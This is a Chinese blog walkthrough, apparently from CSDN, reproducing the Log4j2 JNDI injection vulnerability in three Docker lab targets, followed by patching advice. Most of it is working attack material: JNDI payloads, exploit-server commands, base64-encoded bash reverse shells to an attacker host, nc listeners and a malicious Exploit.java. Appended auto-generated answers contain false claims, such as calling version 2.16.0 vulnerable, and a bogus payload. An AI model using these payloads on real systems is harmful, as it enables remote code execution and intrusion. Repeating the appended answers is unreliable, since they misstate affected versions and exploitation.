Apache Log4j2漏洞复现

Apache log4j简介

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

漏洞简介

log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目 标服务器上执行任意代码。

漏洞范围

影响组件应用

Apache Struts2
Apache Solr
Apache Druid
Apache Flink
srping-boot-strater-log4j2

影响log4j版本

Apache Log4j 2.0 ~ 2.15.0-rc1

攻击机:XXX.XXX.XXX.130

靶    机:XXX.XXX.XXX.152

漏洞复现一

docker搭建靶场环境 

docker pull vulfocus/log4j2-rce-2021-12-09
docker run -d -ti -p 28080:8080 vulfocus/log4j2-rce-2021-12-09

 访问靶场

POC测试

http://172.16.115.152:8082/hello?payload=url

url:使用burp地址:

55882ehsxfw941fmrfwb3eq44valya.oastify.com
对该域名进行url编码

${jndi:ldap://55882ehsxfw941fmrfwb3eq44valya.oastify.com}

转码后:%24%7Bjndi%3Aldap%3A%2F%2F55882ehsxfw941fmrfwb3eq44valya.oastify.com%7D

 
使用burp抓包,写入以上代码

 burp 收到结果


exp测试

1.下载JNDIExploit工具

https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2

2.使用JNDIExploit工具搭建恶意JNDI服务

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.16.115.130



3.启动监听
nc -lvvp 8086


 4.构造EXP

bash -i >& /dev/tcp/172.16.115.130/8086 0>&1
base64编码 :
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg2IDA+JjE=

url编码:
YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg2IDA%2BJjE%3D


得到反弹shell的EXP:

${jndi:ldap://172.16.115.130:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg2IDA%2BJjE%3D}

对EXP进行URL编码:

%24%7Bjndi%3Aldap%3A%2F%2F172.16.115.130%3A1389%2FTomcatBypass%2FCommand%2FBase64%2FYmFzaCAtaSA%252BJiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg2IDA%252BJjE%253D%7D


JNDI

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名 和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

可以访问以下命名/目录服务:

RMI (JAVA远程方法调用)
LDAP (轻量级目录访问协议)
CORBA (公共对象请求代理体系结构)

DNS (域名服务)

 burp抓包,发送至repeater模块


发送Payload请求:将URL写入请求中


点击send发送


ldap服务器接收到请求,并传输Payload


收到反弹shell

 

 漏洞复现二

vim docker-compose.yml    #编写配置文件
写入以下代码:

version: '2'
services:
 solr:
   image: vulhub/solr:8.11.0
   ports:
   - "8983:8983"

编译启动靶场

docker-compose up -d

 访问靶场

攻击机:XXX.XXX.XXX.130

靶    机:XXX.XXX.XXX.152

 poc测试

${jndi:ldap://${sys:java.version}.xxxxxx}    #红色部分使用burp地址

将代码写入POC测试:

http://172.16.115.152:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.176b4a2qmgta1wqkld1rakfxjopfd4.oastify.com}

发送成功

 burp收到返回结果,带出java版本

Exp测试

1.下载 JNDI-Injection-Exploit 工具

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

2.构造命令执行

bash -i >& /dev/tcp/172.16.115.130/8088 0>&1

java-runtime-exec转换:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg4IDA+JjE=}|{base64,-d}|{bash,-i}

3.打开监听

nc -lvvp 8088

4. 使用工具

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “command” -A address

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg4IDA+JjE=}|{base64,-d}|{bash,-i}” -A 172.16.115.130

使用JDK1.8的payload

rmi://172.16.115.130:1099/nk7vbz

your-ip/solr/admin/cores?action=${jndi:rmi://172.16.115.130:1099/nk7vbz}

ldap://172.16.115.130:1389/nk7vbz

your-ip/solr/admin/cores?action=${jndi:ldap://172.16.115.130:1389/nk7vbz}

5.监听收到反弹shell

漏洞复现三

1.编写恶意文件(靶机执行)

Exploit.java

#bash -i >& /dev/tcp/172.16.115.130/8088 0>&1

#bash编码后:YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg4IDA+JjE=

# Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
     public Exploit(){
             try{
                 Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg4IDA+JjE=}|{base64,-d}|{bash,-i}");
                                }catch(Exception e){
                                            e.printStackTrace();
                                             }
                }
         public static void main(String[] argv){
                         Exploit e = new Exploit();
                            }
}

 2.编译文件(靶机执行)

3.开启http服务(靶机执行)

4.启动LDAP服务(攻击机执行)

使用工具:https://github.com/RandomRobbieBF/marshalsec-jar

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://172.16.115.152:8000/#Exploit" 9000

5.监听端口 (攻击机执行)

${jndi:ldap://172.16.115.130:9000/Exploit}

url编码:%24%7Bjndi%3Aldap%3A%2F%2F172.16.115.130%3A9000%2FExploit%7D

6.burp发送请求(攻击机执行)

7.监听收到反弹shell

漏洞修补建议

通用修补建议

升级到最新版本 2.15.0-rc2 :
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

临时修补建议

1.设置JVM启动参数 -Dlog4j2.formatMsgNoLookups=true 。
2.尽量使用JDK 版本大于11.0.1、8u191、7u201、6u211,需要注意的是,即使是使用了 JDK 高版
本也不能完全保证安全,依然存在本地绕过的情况。
3.限制不必要的业务访问外网。
4.采用 rasp 对 lookup 的调用进行阻断。

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Apache Log4j2漏洞是一种远程代码执行漏洞,攻击者可以利用该漏洞在受影响的服务器上执行任意代码。攻击者可以通过构造特定的请求,将恶意代码注入到受影响的服务器上,从而实现远程代码执行。该漏洞已被广泛利用,需要尽快修复。建议管理员及时更新受影响的软件版本,以保护服务器安全。 ### 回答2: 近日,全球多个国家的安全研究员纷纷发现一个Apache log4j2漏洞,该漏洞编号为CVE-2021-44228,危害严重。攻击者利用该漏洞可以远程执行恶意代码,入侵服务器、系统和网络,导致极大的信息泄露和系统瘫痪风险。本文将介绍如何在实验环境中进行漏洞复现。 1.环境准备 本次复现可以采用一个简单的demo工程,也可以用一些现有的著名开源项目(如Spring、Kafka)进行复现。这里以demo工程为例。 - 操作系统:Ubuntu 18.04.5 LTS - Java环境:JDK 1.8 - 工程环境:IntelliJ IDEA + Maven 2.漏洞安装 使用Maven构建demo工程,然后在pom.xml文件中加入log4j2依赖,可以使用找公用库的方式如下: ``` <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.16.0</version> </dependency> ``` 其中 version 指定在 这一足以管理员权势时 Apache 官方才刚刚修复漏洞小版本。 3.漏洞验证 编写一个包含漏洞的代码,如下: ``` package cn.xfakir.demo; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Demo { private static final Logger logger = LogManager.getLogger(Demo.class); public static void main(String[] args) { String payload = "${java.lang.Runtime.getRuntime().exec('calc.exe')}"; logger.info(payload); } } ``` 该代码使用log4j2记录日志的方式,使用 ${} 语法引用payload变量的值,当payload变量的值包含恶意命令时,该漏洞即可成功利用,这里设为calc.exe运行计算器程序。 4.利用漏洞 构建好工程之后,启动demo,如果demo的启动方式是直接运行jar包,可以使用以下命令启动: ``` java -jar Demo-1.0-SNAPSHOT.jar ``` 在控制台看到 INFO 模式下的 ${java.lang.Runtime.getRuntime().exec('calc.exe')} 日志输出,则漏洞被成功利用。 5.修复漏洞 Apache官方已经发布了漏洞修复的版本,建议使用最新版本或对应的补丁,详见官方发布的修复安全公告。除此之外,也可以临时关闭log4j2的服务,防止被攻击。 以上是本文关于apache log4j2漏洞复现的介绍,漏洞修复和预防对于互联网安全至关重要,希望大家及时更新代码和环境,确保系统网络的安全。 ### 回答3: Apache log4j2是一种流行的Java日志框架,它可以通过配置和代码记录日志。但是,最近发现了一个名为CVE-2021-44228的漏洞,攻击者可以利用该漏洞log4j2中执行任意代码,这是一种非常危险的攻击。 要复现这个漏洞,我们需要遵循以下步骤: 步骤1:下载log4j2的jar文件。可以从log4j官方网站或maven仓库上下载。 步骤2:使用PayloadsAllTheThings项目中提供的一些有效负载对log4j2进行测试。这些有效负载在此处提供https://github.com/cyberheartmi9/CVE-2021-44228。 步骤3:将有效负载复制到代码中。 步骤4:编写一个Java应用程序,用于建立与log4j2之间的连接,并执行有效负载。建议使用MinimalLocking.java,这个java应用程序将在本地服务器上启动log4j2。 步骤5:编译和运行您的Java应用程序。 步骤6:通过TCP端口和JMX控制台,发送构造的payload来攻击log4j2。 在实际操作中,攻击者可能会使用更高级的方法,例如尝试使用日志记录的数据来执行代码。例如,在Java虚拟机中注入Java类,然后在日志输出中使用类的实例。这种方法可能需要攻击者具备更深层次的Java知识。 为了保证系统的安全,建议及时升级log4j2到最新版本,并关注官方通告以了解有关漏洞的最新信息。同时,对于企业用户,建议强化安全性措施,对服务器进行监控和维护,以便及时发现和应对安全漏洞

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值